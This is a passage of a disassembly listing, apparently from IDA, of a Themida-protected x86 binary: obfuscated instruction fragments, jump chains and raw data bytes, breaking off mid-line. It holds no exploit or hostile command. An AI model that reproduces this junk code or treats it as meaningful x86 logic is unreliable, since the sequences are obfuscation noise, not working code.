loc_5102AF: ; CODE XREF: Themida_:0050FBA8j add cl, dl pop edx mov al, 0AAh jmp loc_50D901 ; --------------------------------------------------------------------------- loc_5102B9: ; CODE XREF: Themida_:0050131Ej pop ecx push ecx jmp loc_504A64 ; --------------------------------------------------------------------------- loc_5102C0: ; CODE XREF: Themida_:0050FBB8j xor ecx, 15D49D2Fh mov ebp, ecx pop ecx sub ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_50BA87 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 5C24048Fh, 2404D366h, 0F9D9E99Ch, 8B66FFFFh dd 54502404h, 4EC8358h, 0BD242C89h, 4, 3503BF57h, 0E7813694h dd 3A5D088Ah, 16EF814Fh, 0E9131F80h, 0FFFFE4B4h, 0BA68C201h dd 0E900006Dh, 0FFFFE57Ah ; --------------------------------------------------------------------------- loc_510320: ; CODE XREF: Themida_:00511828j push esi push 4AE2AB4h pop esi jmp loc_503D54 ; --------------------------------------------------------------------------- dd 704F181h, 0FFE90A40h, 0FF000046h, 835B2434h, 0C38104C4h dd 4, 0E904EB83h, 2434h ; --------------------------------------------------------------------------- loc_51034C: ; CODE XREF: Themida_:00503604j add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_510362: ; CODE XREF: Themida_:0051136Dj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_50CEB5 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 0FF8372E9h, 240C89FFh, 66D18966h, 79E9C889h dd 68FFFF1Ch, 4F56h, 57242489h, 4BFh, 247C0100h, 81595F04h dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 949AE924h, 34FFFFFFh dd 21E95824h, 29FFFF3Bh, 672D5AD0h, 161C623h, 236705D8h dd 0B95161C6h, 0A7A18C0h, 0D1F7D1F7h, 0FFC18149h, 0C1FFFFFFh dd 0F18106E1h, 9CEE0C84h, 81D1F741h, 4362A0F1h, 81D1F733h dd 0C73A3BC1h, 26C18119h, 0E92DF0C2h, 16A3h ; --------------------------------------------------------------------------- loc_510408: ; CODE XREF: Themida_:00512ED2j push eax mov eax, esp jmp loc_512812 ; --------------------------------------------------------------------------- dd 24048B66h, 203B68h, 24048900h, 405E089h, 53000000h dd 2BBh, 21840500h, 0CEE95581h, 0FF000035h, 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 4A706B3Ah jmp loc_505B90 ; --------------------------------------------------------------------------- aN1HC db '1h*C',0 dw 8900h dd 56B9240Ch, 81319C66h, 452F0DE9h, 0D7A0E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51046A: ; CODE XREF: Themida_:005047C4j mov [esp], eax push 6EDA1792h pop eax or eax, 5C725471h add eax, 966F1220h mov ecx, eax pop eax xor ecx, 753A5A19h push ecx not dword ptr [esp] jmp loc_513839 ; --------------------------------------------------------------------------- db 0FFh dd 83582434h, 40504C4h, 53000000h, 0FF1382E9h, 4C481FFh dd 88000000h, 241C8B38h, 0FF3897E9h db 0FFh ; --------------------------------------------------------------------------- loc_5104B1: ; CODE XREF: Themida_:00508C37j or esi, 103F0588h neg esi shr esi, 2 jmp loc_5106FB ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 1D86E9h, 25E98100h, 8942B28Ch, 0A834E9CFh, 0CB28FFFFh dd 240C8B66h, 0FFB73EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5104E1: ; CODE XREF: Themida_:0050438Dj push edx push ecx jmp loc_510722 ; --------------------------------------------------------------------------- loc_5104E8: ; CODE XREF: Themida_:00504EABj mov eax, 238C707Fh xor eax, 238C707Eh push ecx jmp loc_50B164 ; --------------------------------------------------------------------------- dd 5408E95Ch, 0E120FFFFh, 0A6685758h, 54000041h, 0E924048Fh dd 0FFFFE942h, 4EC835Ah, 53240C89h, 7223E168h, 0A6ACE916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510522: ; CODE XREF: Themida_:0050E28Fj mov cl, 0Ah add cl, 0B0h add cl, 30h add al, 7Fh sub al, 0Ah sub al, cl push ecx mov cl, 0C4h shl cl, 7 not cl inc cl sub cl, 1 inc cl push dx mov dh, 0Ah add cl, dh pop dx add al, cl pop ecx sub al, 7Fh jmp loc_51421C ; --------------------------------------------------------------------------- db 29h, 0D6h, 5Ah dd 0BA52EE01h, 14B51D2Dh, 8B5AD601h, 8953242Ch, 4C381E3h dd 83000000h, 0FF5304C3h, 0E9042474h, 0FFFFAF14h ; --------------------------------------------------------------------------- loc_510578: ; CODE XREF: Themida_:00514678j add edx, 4 jmp loc_50513B ; --------------------------------------------------------------------------- db 83h dd 1C8704C4h, 4895C24h, 2474FF24h, 24048B04h, 0FF6C1EE9h dd 36EB81FFh, 29E43F5Eh, 20F3E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5105A6: ; CODE XREF: Themida_:0050A202j mov esi, 4 mov ebx, esi pop esi jmp loc_505CAB ; --------------------------------------------------------------------------- db 1 dd 0AAC381D3h, 0E9023271h, 0FFFFFF50h ; --------------------------------------------------------------------------- loc_5105C0: ; CODE XREF: Themida_:00501D62j push esi jmp loc_509C74 ; --------------------------------------------------------------------------- loc_5105C6: ; CODE XREF: Themida_:0050F6F5j add edx, 7A9842CEh pop edi jmp loc_51315C ; --------------------------------------------------------------------------- loc_5105D2: ; CODE XREF: Themida_:00512DC9j mov bh, dh pop edx jmp loc_508D0F ; --------------------------------------------------------------------------- loc_5105DA: ; CODE XREF: Themida_:0050C817j mov ecx, esp jmp loc_512BCF ; --------------------------------------------------------------------------- loc_5105E1: ; CODE XREF: Themida_:00512AE6j mov [esp], ebx mov ebx, esp jmp loc_501ADF ; --------------------------------------------------------------------------- loc_5105EB: ; CODE XREF: Themida_:00507217j pop ebx mov ebp, eax jmp loc_506703 ; --------------------------------------------------------------------------- aVsc db 'V(',0 db 0 ; --------------------------------------------------------------------------- loc_5105F9: ; CODE XREF: Themida_:005135C7j mov esi, 6E027D94h inc esi jmp loc_50E303 ; --------------------------------------------------------------------------- dd 0E904E5C1h, 987h ; --------------------------------------------------------------------------- loc_51060C: ; CODE XREF: Themida_:005028A2j xor ecx, [esp] mov esp, [esp] push ebp mov ebp, 24AE03E7h and ebp, 376714D5h jmp loc_51468D ; --------------------------------------------------------------------------- loc_510623: ; CODE XREF: Themida_:0050EECAj add esp, 4 push esi mov esi, 4 sub edx, 530144B5h add edx, esi push ecx mov ecx, 6C99108Ch push esi mov esi, 0F986FC9h xor ecx, esi pop esi inc ecx shr ecx, 8 push edx mov edx, 29E6A4Ch jmp loc_50B0ED ; --------------------------------------------------------------------------- loc_510652: ; CODE XREF: Themida_:004FFA86j add esp, 4 add esp, 4 mov ebx, [esp] add esp, 4 and eax, edi jmp loc_5054AB ; --------------------------------------------------------------------------- loc_510668: ; CODE XREF: Themida_:0050514Fj mov [esp], ebx mov ebx, 66030F1Ch sub esp, 4 mov [esp], edi jmp loc_50D05C ; --------------------------------------------------------------------------- dw 0C4FEh dd 0C480C4FEh, 5DEC80A2h, 2858E300h, 6DEB80C3h, 66FDEB80h dd 5724048Bh, 0FAE9E789h, 89FFFFF9h, 6850240Ch, 59895BA9h dd 8124048Bh, 4C4h, 81A0500h, 0FD0518DBh, 0E9D490A7h, 0FFFF5830h ; --------------------------------------------------------------------------- loc_5106C0: ; CODE XREF: Themida_:00508AD6j or eax, eax jz loc_50B040 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_512CED ; --------------------------------------------------------------------------- loc_5106D3: ; CODE XREF: Themida_:0050D755j pop edi push esi push ebx mov ebx, 50E57E66h mov esi, 0CED8711h add esi, ebx pop ebx jmp loc_50F4CC ; --------------------------------------------------------------------------- aHg db '[h^',0 align 2 dw 1489h dd 184DBA24h, 55E90136h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5106FB: ; CODE XREF: Themida_:005104BCj add esi, 49F24759h sub ebp, esi pop esi sub ebp, 3FF93153h add ebp, esi add ebp, 3FF93153h jmp loc_50FF95 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 1250E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510722: ; CODE XREF: Themida_:005104E3j mov ecx, 3F080EC2h shr ecx, 4 sub ecx, 0E9DE7845h jmp loc_509D70 ; --------------------------------------------------------------------------- db 32h, 4, 24h dd 0E9240430h, 0FFFEF0D6h ; --------------------------------------------------------------------------- loc_510740: ; CODE XREF: Themida_:005038EFj mov edi, esp add edi, 4 push 77CDh mov [esp], eax mov eax, 4 sub edi, 633410Bh add edi, eax push ecx mov ecx, 633410Bh add edi, ecx jmp loc_50DDD2 ; --------------------------------------------------------------------------- dw 0C483h dd 68CC6804h, 1C890000h, 4EC8324h, 0FFBC05E9h db 0FFh ; --------------------------------------------------------------------------- loc_51077D: ; CODE XREF: Themida_:0050AB22j add al, bh pop ebx jmp loc_504BB5 ; --------------------------------------------------------------------------- db 0BAh, 0B5h, 48h dd 4FBD477Ah, 81B885B7h, 0CC5572C5h, 81D50170h, 0CC5572EDh dd 0EF295A70h, 0DE8685Dh, 3C890000h, 2474FF24h, 243C8B04h dd 8F04C483h, 37E92404h, 0BFFFFFAEh, 2AC51471h, 0FF969AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5107C5: ; CODE XREF: Themida_:0050B31Fj sub ecx, 5AB90231h add ecx, esi add ecx, 5AB90231h mov esi, [esp] add esp, 4 push ebx mov ebx, 4 jmp loc_50909E ; --------------------------------------------------------------------------- db 50h dd 4055854h, 83000000h, 7DE904E8h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5107F7: ; CODE XREF: Themida_:0050E43Bj pop esp jmp loc_509261 ; --------------------------------------------------------------------------- db 29h, 0F7h, 5Eh dd 835FF931h, 0C8904ECh, 0ABBB5324h, 89066D6Ah, 0CD015BD9h dd 83240C8Bh, 0CD0104C4h, 4EC81h, 4890000h, 7622E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51082A: ; CODE XREF: Themida_:0050F369j pop cx jmp loc_511A80 ; --------------------------------------------------------------------------- loc_510831: ; CODE XREF: Themida_:0050F3D5j or ecx, 3CD9230Ch inc ecx and ecx, 755A5D58h jmp loc_500431 ; --------------------------------------------------------------------------- db 55h dd 0E02E1BBDh, 2CED8159h, 813CD030h, 0FD52C0E5h, 0FCC5812Bh dd 895ABEF4h, 242C8BEBh, 0E904C483h, 0FFFF085Dh, 0DA65CBBDh dd 0CCED8102h, 0E9423E45h, 0FFFEF75Ch, 4EA81h, 14870000h dd 4895C24h, 2474FF24h, 24048B04h, 8F04C483h, 248B2404h dd 30FF6624h, 0FEEF79E9h, 2434FFFFh, 986E958h, 1C8B0000h dd 0E6895624h, 4C681h, 0C6810000h, 4, 31243433h, 12E92434h dd 28FFFFA6h, 24048BE6h, 4C481h, 32E90000h, 31FFFFA9h dd 0DBF759CBh, 0A7BBF381h, 0D8218A46h, 0BDBB535Bh, 5AD001Eh dd 401642C3h, 3919932Dh, 5D82956h, 56391993h, 0FF674AE9h dd 240433FFh, 2414895Ch, 0FFB04CE9h db 0FFh ; --------------------------------------------------------------------------- loc_510909: ; CODE XREF: Themida_:005042CEj pop eax xchg ebp, [esp] pop esp add esp, 4 push 1EE5h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_5034D8 ; --------------------------------------------------------------------------- dd 934DBB68h, 24148B74h, 2BDBE9h, 0E8895B00h, 246C815Dh dd 55599D04h, 2444011Dh, 24448104h, 55599D04h, 0E956581Dh dd 0FFFF227Ch ; --------------------------------------------------------------------------- loc_510954: ; CODE XREF: Themida_:00509089j add edx, edi mov edi, [esp] add esp, 4 and eax, edx jmp loc_512246 ; --------------------------------------------------------------------------- dw 77FFh aS_7 db '<&',0 align 2 loc_51096E: ; CODE XREF: Themida_:0050AF9Ej mov ebp, edi pop edi pop ebx xor eax, ebp pop ebp and ecx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_50CED4 ; --------------------------------------------------------------------------- loc_51098B: ; CODE XREF: Themida_:0050F56Dj shl eax, 1 shl eax, 1 xor eax, 0DA01BA6Dh sub edx, eax pop eax jmp loc_500ADB ; --------------------------------------------------------------------------- dd 4BFh, 8BF90100h, 0C483243Ch, 4E98104h, 0E9000000h, 0FFFF3998h dd 497D40BAh, 5FFA2953h, 34FFD501h, 24148B24h, 0FF38F4E9h dd 240C31FFh, 0E9240C33h, 0FFFF5144h, 6270BA52h, 0D2F710A3h dd 0F7D2F74Ah, 45DDE9DAh, 0C083FFFFh, 24048704h, 0E689565Ch dd 4C681h, 76E90000h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5109FB: ; CODE XREF: Themida_:00513788j push edi mov edi, esp add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_5006DC ; --------------------------------------------------------------------------- dw 0EC83h dd 8625E904h, 148BFFFFh, 0E0895024h, 405h, 40500h, 4870000h dd 54D8E924h, 0EBC1FFFFh, 0C0F38103h, 81244547h, 2681ACEBh dd 5BD829C9h, 0FF6EF7E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h dd 19E5685Ch, 2C890000h, 2474FF24h, 2434FF04h, 0E089505Dh dd 405h, 4C08300h, 31240433h, 4332404h, 24248B24h, 0E924048Fh dd 15A4h, 41E6814Eh, 831BF711h, 2C8904ECh, 6BCEE924h, 0EC81FFFFh dd 4, 0E9242C89h, 0FFFEF5C9h, 52242C89h, 0C429C0BAh, 34815235h dd 873DE224h, 0F5815D70h, 70873DE2h, 0E924148Bh, 0FFFF3B51h dd 815BDD31h, 0F1FD09C5h, 5DE8296Dh, 0BD55C801h, 79575D46h dd 0AAE9E801h, 0FFFFFF0Ah, 48B2434h, 84E95524h, 53FFFF7Ch dd 0FFD898E9h, 0D3F75AFFh, 0BF57EBD1h, 56E20672h, 0C104EFC1h dd 0EC8308E7h, 24348904h, 8A4BE8BEh, 0FCEE8129h, 81462E75h dd 830BAFF6h, 8BF70119h, 0C4812434h, 4, 0E95FFB31h, 0FFFF477Eh ; --------------------------------------------------------------------------- loc_510B30: ; CODE XREF: Themida_:00514842j mov [esp], ebx push esp jmp loc_50C122 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 0FFFF120Fh ; --------------------------------------------------------------------------- loc_510B40: ; CODE XREF: Themida_:0050D53Aj add esi, 1 jmp loc_50D34C ; --------------------------------------------------------------------------- loc_510B4B: ; CODE XREF: Themida_:00506E4Bj mov [esp], edx jmp loc_507DD2 ; --------------------------------------------------------------------------- loc_510B53: ; CODE XREF: Themida_:00512A41j mov dl, bl pop ebx jmp loc_513422 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0BFE95700h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510B67: ; CODE XREF: Themida_:005012FCj pop eax pop dword ptr [esp] jmp loc_5054D2 ; --------------------------------------------------------------------------- dd 0FEECA1E9h, 45F681FFh, 29DC9944h, 0C1815EF1h, 13BDA2D1h dd 2959CB89h, 0E9D889C3h, 0FFFFEE2Fh ; --------------------------------------------------------------------------- loc_510B90: ; CODE XREF: Themida_:005063F9j add esp, 4 push esi push ebx mov ebx, esp add ebx, 4 jmp loc_50A3E7 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0C6810000h, 7B3E2348h, 0EE81DE01h, 7B3E2348h, 25BA525Bh dd 0E9240F5Fh, 21ECh, 0F65BDC28h, 48C480D4h, 0FFFCF2E9h dd 4F82CFFh, 312C5B5Bh, 0E828CB04h, 0FFC88EE9h db 0FFh ; --------------------------------------------------------------------------- loc_510BE1: ; CODE XREF: Themida_:0051364Fj pop ebx push edi mov edi, 2FB52CCDh jmp loc_5115DE ; --------------------------------------------------------------------------- db 0E9h, 24h, 0ECh dd 0C483FFFEh, 0FFD30104h, 525A2434h, 0C2815A54h, 4, 8704C283h dd 0E95C2414h, 3C48h, 4EC81h, 2C890000h, 4B0CBD24h, 7FE9533Ah db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510C23: ; CODE XREF: Themida_:00500C5Cj mov edx, [esp] add esp, 4 jmp loc_5039A7 ; --------------------------------------------------------------------------- loc_510C31: ; CODE XREF: Themida_:0050FE00j add ecx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_501D59 ; --------------------------------------------------------------------------- db 86h dd 0DBC480F4h, 88E78853h, 0C0585BFDh, 885206EDh, 3549E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_510C56: ; CODE XREF: Themida_:0050017Cj sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push 7F7h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add ebp, ebx jmp loc_514965 ; --------------------------------------------------------------------------- loc_510C94: ; CODE XREF: Themida_:0050D243j dec ecx or ecx, 575641Dh sub ecx, 0A250DC78h add esi, ecx pop ecx jmp loc_507B0D ; --------------------------------------------------------------------------- db 0BBh, 70h, 30h dd 35E94120h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510CB3: ; CODE XREF: Themida_:0050DA21j pop ebx push ecx mov ecx, 6A9E197Ch add ecx, 9561E688h jmp loc_503E5C ; --------------------------------------------------------------------------- loc_510CC5: ; CODE XREF: Themida_:005112C9j mov esi, esp push ebp mov ebp, 71A63202h jmp loc_507CC3 ; --------------------------------------------------------------------------- loc_510CD2: ; CODE XREF: Themida_:005001E3j add ebx, ebp sub ebx, 6D0D54E3h mov ebp, [esp] add esp, 4 pop eax push edx push 4 jmp loc_513DFE ; --------------------------------------------------------------------------- loc_510CEF: ; CODE XREF: Themida_:00514438j add ebx, 42EE9926h sub ecx, 0E7F0D80h add ecx, ebx add ecx, 0E7F0D80h pop ebx add ecx, 7E563291h mov esi, [esp] jmp loc_5064F1 ; --------------------------------------------------------------------------- dw 3487h dd 9BDCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510D1A: ; CODE XREF: Themida_:005086B5j push edi mov edi, esp jmp loc_50A3F2 ; --------------------------------------------------------------------------- dw 3C31h dd 0D359E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510D2A: ; CODE XREF: Themida_:0050282Bj xor esi, 0ED06AFDh add ebx, esi pop esi xchg ebx, [esp] pop esp loc_510D37: ; CODE XREF: Themida_:loc_50B137j ; Themida_:loc_50B2C9j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 jmp loc_5144BC ; --------------------------------------------------------------------------- db 80h dd 0D0005DC2h, 0FD3E9h, 241C8B00h, 4C481h, 0FF520000h dd 5A042474h, 5C24048Fh, 0B9240C89h, 708D31F1h, 0FF408DE9h db 0FFh ; --------------------------------------------------------------------------- loc_510D79: ; CODE XREF: Themida_:0050A772j pop esp push dword ptr [eax] jmp loc_4FF816 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 0E9E18951h, 0FFFF5A52h ; --------------------------------------------------------------------------- loc_510D90: ; CODE XREF: Themida_:0050CA97j pop edi add esp, 4 add ebx, ebp push edx jmp loc_500701 ; --------------------------------------------------------------------------- dd 875FFB29h, 248B241Ch, 240C8924h, 0E9C00CB1h, 7E9C003h dd 0D9F6C9FEh, 0E914F180h, 30ADh, 0C43F781h, 6C81284Fh dd 506F0424h, 7C01633Ah, 44810424h, 506F0424h, 5D5F633Ah dd 4C581h, 0EC810000h, 4, 0B9240C89h, 4, 5CE9CD01h, 52FFFFACh dd 5AB86650h, 0F6BA6635h, 828CE937h, 8358FFFFh, 0EC8304C4h dd 242C8904h, 42474FFh, 3EA2E9h db 0 ; --------------------------------------------------------------------------- loc_510E15: ; CODE XREF: Themida_:0051280Dj push ebp mov ebp, 4 push edx mov edx, 631224E1h sub ecx, edx pop edx sub ecx, 4ABD09EEh add ecx, ebp push edi jmp loc_50E0AF ; --------------------------------------------------------------------------- loc_510E32: ; CODE XREF: Themida_:005070CEj pop esi add edi, ecx sub edi, 27652015h pop ecx jmp loc_50DBDC ; --------------------------------------------------------------------------- db 66h, 5Bh, 66h dd 9BE9DBF7h, 81FFFF34h, 4A73DCF6h, 6A932D51h, 7CE94366h dd 66FFFF73h, 8124048Bh, 4ECh, 240C8900h, 8FE9E189h, 29FFFF47h dd 6FA105C8h, 0C8B2343h, 4C48124h, 8B000000h, 8951241Ch dd 4C181E1h, 0E9000000h, 0FFFF4B1Eh, 83243C8Bh, 0F38104C4h dd 1D414B6Eh, 6149EE81h, 7FE93CE2h, 81FFFFDFh, 614FA1F1h dd 0AEC18141h, 51540A76h, 0E92414F7h, 0FFFF7FE3h ; --------------------------------------------------------------------------- loc_510EBC: ; CODE XREF: Themida_:0050A574j and ebx, ebp pop ebp jmp loc_507230 ; --------------------------------------------------------------------------- dd 6DA5E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510ECA: ; CODE XREF: Themida_:00503CF5j add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_50F58F ; --------------------------------------------------------------------------- loc_510EDB: ; CODE XREF: Themida_:005143ACj sub edi, 656B1ABCh inc edi add edi, 478B22DAh jmp loc_507A7A ; --------------------------------------------------------------------------- loc_510EED: ; CODE XREF: Themida_:0050774Ej mov ebx, 0E5472B5h xor ebx, 7186051Ah add ebx, 0BE4EB67Eh or esi, ebx pop ebx shl esi, 7 add esi, 53C78FE9h xor eax, esi push dword ptr [esp] pop esi push ebp push esp pop ebp add ebp, 4 jmp loc_511F91 ; --------------------------------------------------------------------------- dw 8159h dd 291BFFC1h, 241DE942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510F2A: ; CODE XREF: Themida_:0050EDC7j mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_5148CB ; --------------------------------------------------------------------------- db 83h dd 0EC8304C4h, 0F6DEE904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_510F4A: ; CODE XREF: Themida_:005070A1j pop eax push esi push ebp mov ebp, 4 mov esi, ebp jmp loc_51292A ; --------------------------------------------------------------------------- loc_510F59: ; CODE XREF: Themida_:0050F9CBj add ebp, edx mov edx, [esp] add esp, 4 push 7DA4h mov [esp], edi mov edi, 4 jmp loc_5082FE ; --------------------------------------------------------------------------- db 29h dd 534A59CAh, 3A6889BBh, 0E82BE944h, 2C8BFFFFh, 0E3895324h dd 4C381h, 32E90000h, 81FFFF95h, 68F0ABC5h, 5DEF3140h dd 3F4EBB53h, 0C4E966EAh, 0B800003Ah, 54B10C25h, 0FF9C88E9h dd 0D3E955FFh db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510FB7: ; CODE XREF: Themida_:00506ED2j push dword ptr [esp] mov ebp, [esp] push ecx jmp loc_5138C9 ; --------------------------------------------------------------------------- db 81h dd 9E198AEDh, 0AFED8132h, 0E9411E53h, 0FFFF7257h ; --------------------------------------------------------------------------- loc_510FD4: ; CODE XREF: Themida_:0050D3DAj add eax, 458B532Fh not eax sub eax, 0FBDAF8EBh or ebx, eax pop eax push 7BB0h mov [esp], edi jmp loc_51179F ; --------------------------------------------------------------------------- loc_510FF0: ; CODE XREF: Themida_:0050233Aj pop esi jmp loc_51206D ; --------------------------------------------------------------------------- loc_510FF6: ; CODE XREF: Themida_:0050D078j push 2E73h mov [esp], edx jmp loc_5060A0 ; --------------------------------------------------------------------------- db 58h dd 6CF568h, 243C8900h, 4BFh, 5FF90100h, 31240C33h, 0C33240Ch dd 24248B24h, 53C8B60Fh, 755C68h, 36C7E900h, 0E95C0000h dd 0FFFFE7F2h, 8B241C33h, 0F7662424h, 6BF568F9h, 4890000h dd 51585424h, 0FF0454E9h db 0FFh ; --------------------------------------------------------------------------- loc_51104D: ; CODE XREF: Themida_:00513AB1j pop ebp jmp loc_50C445 ; --------------------------------------------------------------------------- db 8Bh dd 0CFE9241Ch, 83FFFFA2h, 48F04C4h, 47215C24h, 24048B1Ch dd 3EA6E957h, 489FFFFh, 4B824h, 0ED810000h, 189A01C7h dd 0C581C529h, 189A01C7h, 0E92434FFh, 0FFFFFD76h, 7188BA52h dd 47E94CB9h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511097: ; CODE XREF: Themida_:0050F8C2j mov [esp], edx push edi jmp loc_5123E6 ; --------------------------------------------------------------------------- dd 0E9D02966h, 0FFFF0313h, 15FFB89h, 8133FFFBh, 7C68242Ch dd 48B1611h, 13F76824h, 57E90000h, 68FFFFB0h, 1F8Dh, 53240C89h dd 0A36590BBh, 24B5B95Ah, 0D931215Fh, 5C32E95Bh, 0D001FFFFh dd 0B8541705h, 0FF505A17h, 58042474h, 0FF2311E9h, 0C1DA87FFh dd 0BD5505E2h, 0D9BAE9DEh, 661ABB53h, 0EA8134A8h, 386053AEh dd 0D7E9DA01h, 0FFFFFF0Dh, 48B2434h, 0E3895324h, 4C381h dd 0DE90000h, 29FFFF17h, 242C8BEBh, 4C481h, 0E95E0000h dd 0FFFF66E0h, 57242489h, 4BFh, 24448100h, 2E0C4D04h, 246C8157h dd 79515B04h, 246C810Fh, 0B444704h, 247C010Ch, 24448104h dd 0B444704h, 2444810Ch, 79515B04h, 246C810Fh, 2E0C4D04h dd 3C8B5F57h, 5E84E924h, 515EFFFFh, 0BF57E189h, 440A4125h dd 0E89F781h, 0F4E946F8h, 0BEFFFFC6h, 7E7A7967h, 8246C81h dd 5F6D1009h, 0FF75EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5111A1: ; CODE XREF: Themida_:00506217j push eax xor dword ptr [esp], 620507EDh pop esi xor esi, 620507EDh jmp loc_501B5F ; --------------------------------------------------------------------------- db 29h, 0EBh, 5Dh dd 5C241C87h, 0B7241C89h, 0E9FD30F9h, 0FFFF5019h ; --------------------------------------------------------------------------- loc_5111C8: ; CODE XREF: Themida_:00505170j pop esp sub [edx], eax push dword ptr [esp] pop eax add esp, 4 shl dword ptr [edx], 3 sub dword ptr [edx], 5B4F5940h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_505ACA ; --------------------------------------------------------------------------- loc_5111F5: ; CODE XREF: Themida_:005141DCj add ebp, edi jmp loc_503A61 ; --------------------------------------------------------------------------- loc_5111FC: ; CODE XREF: Themida_:004FFA52j sub edi, 0D59A63DBh jmp loc_504E00 ; --------------------------------------------------------------------------- db 0BDh dd 4DFC58D5h, 4CE9EE21h, 5AFFFF7Bh, 34E9C800h, 81FFFFAFh dd 4C2h, 4C28100h, 0E9000000h, 65Bh, 40BE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511232: ; CODE XREF: Themida_:00500F6Dj push ecx mov ecx, 3C0C5ABDh push edx jmp loc_50FCE1 ; --------------------------------------------------------------------------- dw 8B54h dd 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h, 3C68515Ch dd 8900000Dh, 86B82404h, 5051915h, 164E2E0Bh, 4158C189h dd 0E904EC83h, 0FFFFB80Bh, 6009B951h, 0C1817DBCh, 0C08AE2F0h dd 5559CB89h, 0FFC25CE9h, 0DAC681FFh, 11FCC18h, 0F9015EF1h dd 0F521E957h, 3489FFFFh, 815E5424h, 4C6h, 4C68300h, 0FF55E9E9h dd 0C4815DFFh, 4, 57E38953h, 4BFh, 1D2DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5112C2: ; CODE XREF: Themida_:005054E2j xchg eax, [esp] pop esp mov [esp], esi jmp loc_510CC5 ; --------------------------------------------------------------------------- dw 0EF88h dd 0E9FD8851h, 2806h, 4905B850h, 0C38908DEh, 0FEFF5EE9h dd 24048FFFh, 0D324248Bh, 0E99C2404h, 0FFFEE522h, 0D991C681h dd 0F789F8B0h, 178AE9h db 0 ; --------------------------------------------------------------------------- loc_511301: ; CODE XREF: Themida_:00512875j mov [esp], ebx jmp loc_50FACF ; --------------------------------------------------------------------------- db 0C0h, 0E0h, 8 dd 0FF35CEE9h, 71C005FFh, 0DFE944B0h, 81FFFFA6h, 16D1F7h dd 2C61E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511326: ; CODE XREF: Themida_:00504E2Cj pop edx sub edx, 6150107Eh push eax mov eax, 786B65CCh jmp loc_50DB2C ; --------------------------------------------------------------------------- loc_511338: ; CODE XREF: Themida_:00505565j xor [esp], ebx xor ebx, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_507C1E ; --------------------------------------------------------------------------- loc_51134B: ; CODE XREF: Themida_:0050A4D4j mov eax, 0A2028E45h sub esi, eax pop eax jmp loc_4FFBA9 ; --------------------------------------------------------------------------- dd 4C5815Dh, 50000000h, 80748EB8h, 4949E939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51136A: ; CODE XREF: Themida_:00504B58j sub edi, 4 jmp loc_510362 ; --------------------------------------------------------------------------- dw 0F520h dd 5EDC05Ah, 2454F651h, 23E95901h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511383: ; CODE XREF: Themida_:0050DB63j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_50E124 ; --------------------------------------------------------------------------- dd 297BF581h, 0E9018364h, 0FFC8315Dh, 0C8B2434h, 0EBFE924h dd 685A0000h, 490Bh, 52240489h, 0D488EA88h, 0E281E95Ah dd 8758FFFFh, 0E4E9240Ch, 2CFFFF0Dh, 4E80065h, 59700465h dd 0FF8C4BE9h, 